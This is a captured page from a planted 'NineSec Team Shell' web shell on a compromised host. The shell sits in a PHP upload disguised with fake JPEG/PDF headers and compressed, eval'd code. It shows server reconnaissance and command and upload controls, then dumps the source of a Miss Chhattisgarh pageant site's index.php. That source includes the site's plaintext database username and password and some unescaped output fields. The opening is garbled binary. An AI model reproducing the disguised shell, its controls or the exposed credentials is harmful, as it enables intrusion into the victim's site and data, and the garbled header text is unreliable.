JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/misschhattisgarh.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/misschhattisgarh.com/public_html/index.php
<!DOCTYPE html>
<html lang="en">
<head>
    <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-7735548398161482"
     crossorigin="anonymous"></script>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Miss Chhattisgarh - Beauty Pageant & Modeling Platform</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;500;600;700&family=Poppins:wght@300;400;500;600&display=swap');
        
        body {
            font-family: 'Poppins', sans-serif;
            scroll-behavior: smooth;
        }
        
        .playfair {
            font-family: 'Playfair Display', serif;
        }
        
        .hero-gradient {
            background: linear-gradient(135deg, rgba(0,0,0,0.7) 0%, rgba(0,0,0,0.3) 100%);
        }
        
        .gold-gradient {
            background: linear-gradient(135deg, #D4AF37 0%, #F4E5C2 100%);
        }
        
        .gold-text {
            background: linear-gradient(135deg, #D4AF37 0%, #F4E5C2 100%);
            -webkit-background-clip: text;
            background-clip: text;
            color: transparent;
        }
        
        .contestant-card:hover .contestant-overlay {
            opacity: 1;
        }
        
        .contestant-overlay {
            transition: all 0.3s ease;
        }
        
        .gallery-item {
            transition: all 0.3s ease;
        }
        
        .gallery-item:hover {
            transform: scale(1.03);
        }
        
        input:focus, textarea:focus {
            outline: none;
            box-shadow: 0 0 0 2px #D4AF37;
        }
        
        .nav-link {
            position: relative;
        }
        
        .nav-link:after {
            content: '';
            position: absolute;
            width: 0;
            height: 2px;
            bottom: -2px;
            left: 0;
            background: #D4AF37;
            transition: width 0.3s ease;
        }
        
        .nav-link:hover:after {
            width: 100%;
        }
        
        .active-nav:after {
            width: 100%;
        }
        
        .countdown-item {
            min-width: 80px;
        }
        
        @media (max-width: 768px) {
            .countdown-item {
                min-width: 60px;
            }
        }
        
        .social-icon {
            transition: all 0.3s ease;
        }
        
        .social-icon:hover {
            transform: translateY(-3px);
        }
    </style>
</head>
<body class="bg-gray-100 text-gray-800">
    <!-- Navigation -->
    <?php include 'includes/header.php'; ?>

    <!-- Hero Section -->
    <section id="home" class="relative h-screen flex items-center justify-center bg-gray-900 overflow-hidden">
        <div class="absolute inset-0">
            <img src="./img/Sambalpuri.jpg" 
                 alt="Miss Chhattisgarh" class="w-full h-full object-cover">
            <div class="absolute inset-0 hero-gradient"></div>
        </div>
        
        <div class="container mx-auto px-4 relative z-10 text-center">
            <div class="max-w-4xl mx-auto">
                <h1 class="playfair text-4xl md:text-6xl font-bold text-white mb-4">
                    <span class="gold-text">Miss Chhattisgarh</span> 2025
                </h1>
                <p class="text-xl text-white mb-8">Celebrating Beauty, Grace & Intelligence</p>
                
                <div class="flex flex-wrap justify-center gap-4">
                    <a href="./register.php" class="px-8 py-3 bg-transparent border-2 border-gold-500 text-white hover:bg-gold-500 hover:text-black transition duration-300 rounded-full font-medium">
                        Apply Now
                    </a>
                    <a href="#events" class="px-8 py-3 gold-gradient text-black font-medium rounded-full hover:opacity-90 transition duration-300">
                        View Casting
                    </a>
                </div>
            </div>
        </div>
        
        <div class="absolute bottom-8 left-0 right-0 flex justify-center">
            <a href="#about" class="text-white animate-bounce">
                <i class="fas fa-chevron-down text-2xl"></i>
            </a>
        </div>
    </section>

    <!-- Contestants Section -->
    <section id="contestants" class="py-20 bg-gray-50">
        <div class="container mx-auto px-4">
            <div class="text-center mb-16">
                <h2 class="playfair text-3xl md:text-4xl font-bold mb-4">Our <span class="gold-text">Contestants</span></h2>
                <p class="text-gray-600 max-w-2xl mx-auto">Meet the talented and beautiful contestants competing for the crown this year</p>
                <div class="w-20 h-1 gold-gradient mx-auto mt-4"></div>
            </div>
            
            <div class="flex justify-center mb-8">
                <div class="inline-flex rounded-md shadow-sm">
                    <button type="button" class="contestant-filter px-4 py-2 text-sm font-medium rounded-l-lg border border-gray-300 bg-white text-gray-700 hover:bg-gray-50" data-filter="all">
                        All
                    </button>
                    <button type="button" class="contestant-filter px-4 py-2 text-sm font-medium border-t border-b border-gray-300 bg-white text-gray-700 hover:bg-gray-50" data-filter="top5">
                        Top 5
                    </button>
                    <button type="button" class="contestant-filter px-4 py-2 text-sm font-medium rounded-r-lg border border-gray-300 bg-white text-gray-700 hover:bg-gray-50" data-filter="new">
                        New Entries
                    </button>
                </div>
            </div>
            
            <?php
            // Database connection
            $host = "localhost";
            $user = "u178500310_cg";
            $password = "Tanveer@#14321";
            $dbname = "u178500310_cg";
            
            // Create connection
            $conn = new mysqli($host, $user, $password, $dbname);
            
            // Check connection
            if ($conn->connect_error) {
                die("Connection failed: " . $conn->connect_error);
            }
            
            // Fetch contestants with social media data
            $sql = "SELECT u.id, u.first_name, u.last_name, u.city, u.bio, u.profile_pic, 
                            u.instagram, u.facebook, u.twitter,
                            mp.height, mp.weight, mp.bust, mp.waist, mp.hips,
                            mp.hair_color, mp.eye_color, mp.skin_tone
                    FROM users u
                    LEFT JOIN model_profiles mp ON u.id = mp.user_id
                    WHERE u.user_type='model' AND u.deleted_at IS NULL
                    ORDER BY u.created_at DESC
                    LIMIT 4";
            
            $result = $conn->query($sql);
            ?>
            
            <div class="grid grid-cols-1 sm:grid-cols-2 md:grid-cols-3 lg:grid-cols-4 gap-8" id="contestant-container">
                <?php
                if ($result->num_rows > 0) {
                    while($row = $result->fetch_assoc()) {
                        $profile_pic = !empty($row["profile_pic"]) ? $row["profile_pic"] : "https://images.unsplash.com/photo-1534528741775-53994a69daeb?auto=format&fit=crop&w=764&q=80";
                        $name = $row["first_name"] . " " . $row["last_name"];
                        $city = !empty($row["city"]) ? $row["city"] : "Chhattisgarh";
                        $bio = !empty($row["bio"]) ? $row["bio"] : "A talented contestant from Chhattisgarh with a passion for fashion and modeling.";
                        
                        // Social media links
                        $instagram = !empty($row["instagram"]) ? $row["instagram"] : "";
                        $facebook = !empty($row["facebook"]) ? $row["facebook"] : "";
                        $twitter = !empty($row["twitter"]) ? $row["twitter"] : "";
                        
                        echo '
                        <div class="contestant-card relative rounded-xl overflow-hidden shadow-lg bg-white">
                            <div class="relative h-80 overflow-hidden">
                                <img src="'.$profile_pic.'" alt="'.$name.'" class="w-full h-full object-cover">
                                <div class="contestant-overlay absolute inset-0 bg-black bg-opacity-60 opacity-0 flex flex-col justify-end p-6">
                                    <h3 class="playfair text-xl font-bold text-white mb-2">'.$name.'</h3>
                                    <p class="text-gray-300 text-sm mb-4">'.substr($bio, 0, 100).'...</p>
                                    <div class="flex justify-between items-center">
                                        <span class="text-sm text-white"><i class="fas fa-map-marker-alt mr-1"></i> '.$city.'</span>
                                        <div class="flex space-x-2">';
                                        
                                        // Display social media icons if available
                                        if (!empty($instagram)) {
                                            echo '<a href="'.$instagram.'" target="_blank" class="social-icon text-white hover:text-pink-400"><i class="fab fa-instagram"></i></a>';
                                        }
                                        if (!empty($facebook)) {
                                            echo '<a href="'.$facebook.'" target="_blank" class="social-icon text-white hover:text-blue-400"><i class="fab fa-facebook-f"></i></a>';
                                        }
                                        if (!empty($twitter)) {
                                            echo '<a href="'.$twitter.'" target="_blank" class="social-icon text-white hover:text-blue-500"><i class="fab fa-twitter"></i></a>';
                                        }
                                        
                                        echo '</div>
                                    </div>
                                </div>
                            </div>
                            <div class="p-4">
                                <h3 class="font-bold text-lg">'.$name.'</h3>
                                <p class="text-gray-600 text-sm">'.$city.'</p>
                                
                                <!-- Social Media Icons in Card Footer -->
                                <div class="mt-3 flex justify-between items-center">
                                    <a href="./profile.php?id='.intval($row["id"]).'" class="text-gold-500 text-sm hover:underline">View Profile</a>
                                    <div class="flex space-x-2">';
                                    
                                    // Display social media icons if available
                                    if (!empty($instagram)) {
                                        echo '<a href="'.$instagram.'" target="_blank" class="social-icon text-gray-600 hover:text-pink-600"><i class="fab fa-instagram"></i></a>';
                                    }
                                    if (!empty($facebook)) {
                                        echo '<a href="'.$facebook.'" target="_blank" class="social-icon text-gray-600 hover:text-blue-600"><i class="fab fa-facebook-f"></i></a>';
                                    }
                                    if (!empty($twitter)) {
                                        echo '<a href="'.$twitter.'" target="_blank" class="social-icon text-gray-600 hover:text-blue-500"><i class="fab fa-twitter"></i></a>';
                                    }
                                    
                                    echo '</div>
                                </div>
                            </div>
                        </div>';
                    }
                } else {
                    echo "<p class='text-center col-span-full'>No models found in the database.</p>";
                }
                
                $conn->close();
                ?>
            </div>
            
            <div class="text-center mt-12">
                <a href="./contestants.php" class="px-6 py-3 border-2 border-gold-500 text-gold-500 rounded-full hover:bg-gold-500 hover:text-black transition duration-300 inline-flex items-center">
                    View All Contestants
                    <i class="fas fa-arrow-right ml-2"></i>
                </a>
            </div>
        </div>
    </section>

    <!-- Casting call Section -->
<section id="events" class="py-20 bg-white">
    <div class="container mx-auto px-4">
        <div class="text-center mb-16">
            <h2 class="playfair text-3xl md:text-4xl font-bold mb-4">Upcoming <span class="gold-text">Casting Call</span></h2>
            <p class="text-gray-600 max-w-2xl mx-auto">Mark your calendars for these exciting casting opportunities</p>
            <div class="w-20 h-1 gold-gradient mx-auto mt-4"></div>
        </div>
        
        <div class="flex flex-wrap -mx-4">
            <?php
            // Database connection
            $host = "localhost";
            $user = "u178500310_cg";
            $password = "Tanveer@#14321";
            $dbname = "u178500310_cg";
            
            // Create connection
            $conn = new mysqli($host, $user, $password, $dbname);
            
            // Check connection
            if ($conn->connect_error) {
                die("Connection failed: " . $conn->connect_error);
            }
            
            // Fetch active casting calls from database
            $sql = "SELECT * FROM casting_calls WHERE is_active = 1 AND end_date >= CURDATE() ORDER BY start_date ASC";
            $result = $conn->query($sql);
            
            if ($result->num_rows > 0) {
                // Output data of each row
                while($row = $result->fetch_assoc()) {
                    $location = $row["location"];
                    $title = $row["title"];
                    $description = $row["description"];
                    $start_date = date("F j, Y", strtotime($row["start_date"]));
                    $end_date = date("F j, Y", strtotime($row["end_date"]));
                    $requirements = $row["requirements"];
                    $payment_details = $row["payment_details"];
                    
                    // Shorten description for card view
                    $short_description = strlen($description) > 120 ? substr($description, 0, 120) . "..." : $description;
                    
                    echo '<div class="w-full lg:w-1/3 px-4 mb-8">';
                    echo '    <div class="bg-gray-50 rounded-xl overflow-hidden shadow-lg h-full">';
                    echo '        <div class="relative h-48">';
                    echo '            <img src="https://images.unsplash.com/photo-1514525253161-7a46d19cd819?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D&auto=format&fit=crop&w=1470&q=80" alt="' . htmlspecialchars($title) . '" class="w-full h-full object-cover">';
                    echo '            <div class="absolute top-4 right-4 bg-black bg-opacity-70 text-white px-3 py-1 rounded-full text-sm">';
                    echo '                <i class="fas fa-map-marker-alt mr-1"></i> ' . htmlspecialchars($location);
                    echo '            </div>';
                    echo '        </div>';
                    echo '        <div class="p-6">';
                    echo '            <div class="flex items-center mb-3">';
                    echo '                <div class="bg-gold-500 text-black px-3 py-1 rounded-full text-sm font-medium mr-3">';
                    echo '                    Casting Call';
                    echo '                </div>';
                    echo '                <div class="text-gray-500 text-sm">';
                    echo '                    <i class="far fa-calendar mr-1"></i> ' . $start_date;
                    if ($row["start_date"] != $row["end_date"]) {
                        echo ' - ' . $end_date;
                    }
                    echo '                </div>';
                    echo '            </div>';
                    echo '            <h3 class="playfair text-xl font-bold mb-2">' . htmlspecialchars($title) . '</h3>';
                    echo '            <p class="text-gray-600 mb-4">' . htmlspecialchars($short_description) . '</p>';
                    echo '            <div class="flex justify-between items-center">';
                    echo '                ';
                    echo '                <a href="./casting_call.php" class="px-4 py-2 bg-black text-white rounded-full text-sm hover:bg-gray-800 transition duration-300">View More</a>';
                    echo '            </div>';
                    echo '        </div>';
                    echo '    </div>';
                    echo '</div>';
                    
                    // Create hidden modal for detailed view
                    echo '<div id="casting-details-' . $row["id"] . '" class="fixed inset-0 bg-black bg-opacity-75 flex items-center justify-center z-50 hidden">';
                    echo '    <div class="bg-white rounded-xl max-w-2xl w-full mx-4 max-h-[80vh] overflow-y-auto">';
                    echo '        <div class="p-6">';
                    echo '            <div class="flex justify-between items-center mb-4">';
                    echo '                <h3 class="playfair text-2xl font-bold">' . htmlspecialchars($title) . '</h3>';
                    echo '                <button onclick="closeCastingDetails(' . $row["id"] . ')" class="text-gray-500 hover:text-gray-700">';
                    echo '                    <i class="fas fa-times text-xl"></i>';
                    echo '                </button>';
                    echo '            </div>';
                    echo '            <div class="mb-4">';
                    echo '                <span class="bg-gold-500 text-black px-3 py-1 rounded-full text-sm font-medium mr-3">';
                    echo '                    <i class="fas fa-map-marker-alt mr-1"></i> ' . htmlspecialchars($location);
                    echo '                </span>';
                    echo '                <span class="text-gray-500 text-sm">';
                    echo '                    <i class="far fa-calendar mr-1"></i> ' . $start_date;
                    if ($row["start_date"] != $row["end_date"]) {
                        echo ' - ' . $end_date;
                    }
                    echo '                </span>';
                    echo '            </div>';
                    echo '            <div class="mb-4">';
                    echo '                <h4 class="font-bold mb-2">Description:</h4>';
                    echo '                <p class="text-gray-700">' . nl2br(htmlspecialchars($description)) . '</p>';
                    echo '            </div>';
                    echo '            <div class="mb-4">';
                    echo '                <h4 class="font-bold mb-2">Requirements:</h4>';
                    echo '                <p class="text-gray-700">' . nl2br(htmlspecialchars($requirements)) . '</p>';
                    echo '            </div>';
                    echo '            <div class="mb-4">';
                    echo '                <h4 class="font-bold mb-2">Payment Details:</h4>';
                    echo '                <p class="text-gray-700">' . nl2br(htmlspecialchars($payment_details)) . '</p>';
                    echo '            </div>';
                    echo '            <div class="mt-6 text-center">';
                    echo '                <a href="#apply" class="px-6 py-2 gold-gradient text-black font-medium rounded-full hover:opacity-90 transition duration-300">Apply Now</a>';
                    echo '            </div>';
                    echo '        </div>';
                    echo '    </div>';
                    echo '</div>';
                }
            } else {
                echo '<div class="w-full px-4 text-center">';
                echo '    <p class="text-gray-600 py-8">No upcoming casting calls at the moment. Please check back later.</p>';
                echo '</div>';
            }
            
            $conn->close();
            ?>
        </div>
        
        <div class="text-center mt-8">
            <a href="../casting/index.php" class="px-6 py-3 border-2 border-gold-500 text-gold-500 rounded-full hover:bg-gold-500 hover:text-black transition duration-300 inline-flex items-center">
                View All Casting Calls
                <i class="fas fa-arrow-right ml-2"></i>
            </a>
        </div>
    </div>
</section>

    <!-- Gallery Section -->
    <section id="gallery" class="py-20 bg-white">
        <div class="container mx-auto px-4">
            <div class="text-center mb-16">
                <h2 class="playfair text-3xl md:text-4xl font-bold mb-4">Our <span class="gold-text">Portfolio</span></h2>
                <p class="text-gray-600 max-w-2xl mx-auto">Relive the most memorable moments from past editions of Miss Chhattisgarh</p>
                <div class="w-20 h-1 gold-gradient mx-auto mt-4"></div>
            </div>
            
            <div class="flex justify-center mb-8">
                <div class="inline-flex rounded-md shadow-sm">
                    <button type="button" class="gallery-filter px-4 py-2 text-sm font-medium rounded-l-lg border border-gray-300 bg-white text-gray-700 hover:bg-gray-50" data-filter="all">
                        All
                    </button>
                    <button type="button" class="gallery-filter px-4 py-2 text-sm font-medium border-t border-b border-gray-300 bg-white text-gray-700 hover:bg-gray-50" data-filter="portfolio">
                        Portfolio
                    </button>
                    <button type="button" class="gallery-filter px-4 py-2 text-sm font-medium border-t border-b border-gray-300 bg-white text-gray-700 hover:bg-gray-50" data-filter="events">
                        Events
                    </button>
                    <button type="button" class="gallery-filter px-4 py-2 text-sm font-medium rounded-r-lg border border-gray-300 bg-white text-gray-700 hover:bg-gray-50" data-filter="selfies">
                        Selfies
                    </button>
                </div>
            </div>
            
            <div class="grid grid-cols-1 sm:grid-cols-2 md:grid-cols-3 gap-6" id="gallery-container">
                
                            <div class="gallery-item relative rounded-lg overflow-hidden shadow-lg" data-category="portfolio">
                                <div class="relative h-64 overflow-hidden">
                                    <img src="uploads/portfolio/68aee4e7a8887.jpg" alt="Ig - @tahmina_chowdhury_prity" class="w-full h-full object-cover">
                                    <div class="absolute inset-0 bg-black bg-opacity-30 flex items-center justify-center opacity-0 hover:opacity-100 transition duration-300">
                                        <a href="uploads/portfolio/68aee4e7a8887.jpg" class="w-12 h-12 rounded-full bg-white bg-opacity-80 flex items-center justify-center text-black hover:bg-gold-500 transition duration-300" data-lightbox="gallery">
                                            <i class="fas fa-search-plus"></i>
                                        </a>
                                    </div>
                                </div>
                                <div class="p-4 bg-white">
                                    <h4 class="font-medium">Ig - @tahmina_chowdhury_prity</h4>
                                </div>
                            </div>
                            <div class="gallery-item relative rounded-lg overflow-hidden shadow-lg" data-category="portfolio">
                                <div class="relative h-64 overflow-hidden">
                                    <img src="uploads/portfolio/68aee4e7a8af7.jpg" alt="b9d437f5-d4f5-4ee0-bbc6-2c7225651872" class="w-full h-full object-cover">
                                    <div class="absolute inset-0 bg-black bg-opacity-30 flex items-center justify-center opacity-0 hover:opacity-100 transition duration-300">
                                        <a href="uploads/portfolio/68aee4e7a8af7.jpg" class="w-12 h-12 rounded-full bg-white bg-opacity-80 flex items-center justify-center text-black hover:bg-gold-500 transition duration-300" data-lightbox="gallery">
                                            <i class="fas fa-search-plus"></i>
                                        </a>
                                    </div>
                                </div>
                                <div class="p-4 bg-white">
                                    <h4 class="font-medium">b9d437f5-d4f5-4ee0-bbc6-2c7225651872</h4>
                                </div>
                            </div>
                            <div class="gallery-item relative rounded-lg overflow-hidden shadow-lg" data-category="portfolio">
                                <div class="relative h-64 overflow-hidden">
                                    <img src="uploads/portfolio/68aee4e7a8ceb.jpg" alt="65aa08b7-0104-4f18-8020-52380964f2e9" class="w-full h-full object-cover">
                                    <div class="absolute inset-0 bg-black bg-opacity-30 flex items-center justify-center opacity-0 hover:opacity-100 transition duration-300">
                                        <a href="uploads/portfolio/68aee4e7a8ceb.jpg" class="w-12 h-12 rounded-full bg-white bg-opacity-80 flex items-center justify-center text-black hover:bg-gold-500 transition duration-300" data-lightbox="gallery">
                                            <i class="fas fa-search-plus"></i>
                                        </a>
                                    </div>
                                </div>
                                <div class="p-4 bg-white">
                                    <h4 class="font-medium">65aa08b7-0104-4f18-8020-52380964f2e9</h4>
                                </div>
                            </div>
                            <div class="gallery-item relative rounded-lg overflow-hidden shadow-lg" data-category="portfolio">
                                <div class="relative h-64 overflow-hidden">
                                    <img src="uploads/portfolio/68aee4e7a8ea0.jpg" alt="d79beaf8-139f-4bf4-9877-b2b2c233dc2b" class="w-full h-full object-cover">
                                    <div class="absolute inset-0 bg-black bg-opacity-30 flex items-center justify-center opacity-0 hover:opacity-100 transition duration-300">
                                        <a href="uploads/portfolio/68aee4e7a8ea0.jpg" class="w-12 h-12 rounded-full bg-white bg-opacity-80 flex items-center justify-center text-black hover:bg-gold-500 transition duration-300" data-lightbox="gallery">
                                            <i class="fas fa-search-plus"></i>
                                        </a>
                                    </div>
                                </div>
                                <div class="p-4 bg-white">
                                    <h4 class="font-medium">d79beaf8-139f-4bf4-9877-b2b2c233dc2b</h4>
                                </div>
                            </div>
                            <div class="gallery-item relative rounded-lg overflow-hidden shadow-lg" data-category="portfolio">
                                <div class="relative h-64 overflow-hidden">
                                    <img src="uploads/portfolio/68ade31c88cf6.jpg" alt="d79beaf8-139f-4bf4-9877-b2b2c233dc2b" class="w-full h-full object-cover">
                                    <div class="absolute inset-0 bg-black bg-opacity-30 flex items-center justify-center opacity-0 hover:opacity-100 transition duration-300">
                                        <a href="uploads/portfolio/68ade31c88cf6.jpg" class="w-12 h-12 rounded-full bg-white bg-opacity-80 flex items-center justify-center text-black hover:bg-gold-500 transition duration-300" data-lightbox="gallery">
                                            <i class="fas fa-search-plus"></i>
                                        </a>
                                    </div>
                                </div>
                                <div class="p-4 bg-white">
                                    <h4 class="font-medium">d79beaf8-139f-4bf4-9877-b2b2c233dc2b</h4>
                                </div>
                            </div>
                            <div class="gallery-item relative rounded-lg overflow-hidden shadow-lg" data-category="portfolio">
                                <div class="relative h-64 overflow-hidden">
                                    <img src="uploads/portfolio/68ade31c88f5a.jpeg" alt="WhatsApp Image 2025-07-08 at 11.33.13 AM (3)" class="w-full h-full object-cover">
                                    <div class="absolute inset-0 bg-black bg-opacity-30 flex items-center justify-center opacity-0 hover:opacity-100 transition duration-300">
                                        <a href="uploads/portfolio/68ade31c88f5a.jpeg" class="w-12 h-12 rounded-full bg-white bg-opacity-80 flex items-center justify-center text-black hover:bg-gold-500 transition duration-300" data-lightbox="gallery">
                                            <i class="fas fa-search-plus"></i>
                                        </a>
                                    </div>
                                </div>
                                <div class="p-4 bg-white">
                                    <h4 class="font-medium">WhatsApp Image 2025-07-08 at 11.33.13 AM (3)</h4>
                                </div>
                            </div>            </div>
        </div>
    </section>

    <!-- Footer -->
    <?php include 'includes/footer.php'; ?>

    <!-- Back to top button -->
    <a href="#" id="backToTop" class="fixed bottom-8 right-8 w-12 h-12 bg-black bg-opacity-70 text-white rounded-full flex items-center justify-center transition duration-300 opacity-0 invisible hover:bg-gold-500 hover:text-black">
        <i class="fas fa-arrow-up"></i>
    </a>

    <script>
        // Mobile menu toggle
        document.getElementById('mobile-menu-button').addEventListener('click', function() {
            const menu = document.getElementById('mobile-menu');
            menu.classList.toggle('hidden');
        });

        // Back to top button
        window.addEventListener('scroll', function() {
            const backToTop = document.getElementById('backToTop');
            if (window.pageYOffset > 300) {
                backToTop.classList.remove('opacity-0', 'invisible');
                backToTop.classList.add('opacity-100', 'visible');
            } else {
                backToTop.classList.remove('opacity-100', 'visible');
                backToTop.classList.add('opacity-0', 'invisible');
            }
        });

        // Filter functionality
        function filterItems(containerClass, filterButtons, filterAttribute) {
            document.querySelectorAll(filterButtons).forEach(btn => {
                btn.addEventListener('click', function() {
                    const filter = this.getAttribute('data-filter');
                    
                    // Update button styles
                    document.querySelectorAll(filterButtons).forEach(b => {
                        b.classList.remove('bg-gold-500', 'text-black');
                        b.classList.add('bg-white', 'text-gray-700');
                    });
                    this.classList.remove('bg-white', 'text-gray-700');
                    this.classList.add('bg-gold-500', 'text-black');
                    
                    // Filter items
                    document.querySelectorAll(containerClass).forEach(item => {
                        if (filter === 'all' || item.getAttribute(filterAttribute) === filter) {
                            item.style.display = 'block';
                        } else {
                            item.style.display = 'none';
                        }
                    });
                });
            });
        }

        // Initialize
        document.addEventListener('DOMContentLoaded', function() {
            // Initialize filters
            filterItems('.gallery-item', '.gallery-filter', 'data-category');
            
            // Smooth scrolling for navigation
            document.querySelectorAll('a[href^="#"]').forEach(anchor => {
                anchor.addEventListener('click', function(e) {
                    e.preventDefault();
                    
                    const targetId = this.getAttribute('href');
                    const targetElement = document.querySelector(targetId);
                    
                    if (targetElement) {
                        window.scrollTo({
                            top: targetElement.offsetTop - 80,
                            behavior: 'smooth'
                        });
                        
                        // Close mobile menu if open
                        const mobileMenu = document.getElementById('mobile-menu');
                        mobileMenu.classList.add('hidden');
                    }
                });
            });
            
            // Update active nav link on scroll
            window.addEventListener('scroll', function() {
                const scrollPosition = window.scrollY + 100;
                
                document.querySelectorAll('section').forEach(section => {
                    const sectionTop = section.offsetTop;
                    const sectionHeight = section.offsetHeight;
                    const sectionId = section.getAttribute('id');
                    
                    if (scrollPosition >= sectionTop && scrollPosition < sectionTop + sectionHeight) {
                        document.querySelectorAll('.nav-link').forEach(link => {
                            link.classList.remove('active-nav');
                            if (link.getAttribute('href') === `#${sectionId}`) {
                                link.classList.add('active-nav');
                            }
                        });
                    }
                });
            });
        });
        
        
        function showCastingDetails(id) {
    document.getElementById('casting-details-' + id).classList.remove('hidden');
    document.body.style.overflow = 'hidden';
}

function closeCastingDetails(id) {
    document.getElementById('casting-details-' + id).classList.add('hidden');
    document.body.style.overflow = 'auto';
}

// Close modal when clicking outside
document.addEventListener('click', function(event) {
    const modals = document.querySelectorAll('[id^="casting-details-"]');
    modals.forEach(modal => {
        if (event.target === modal) {
            const id = modal.id.split('-')[2];
            closeCastingDetails(id);
        }
    });
});
    </script>
</body>
</html>

NineSec Team - 2022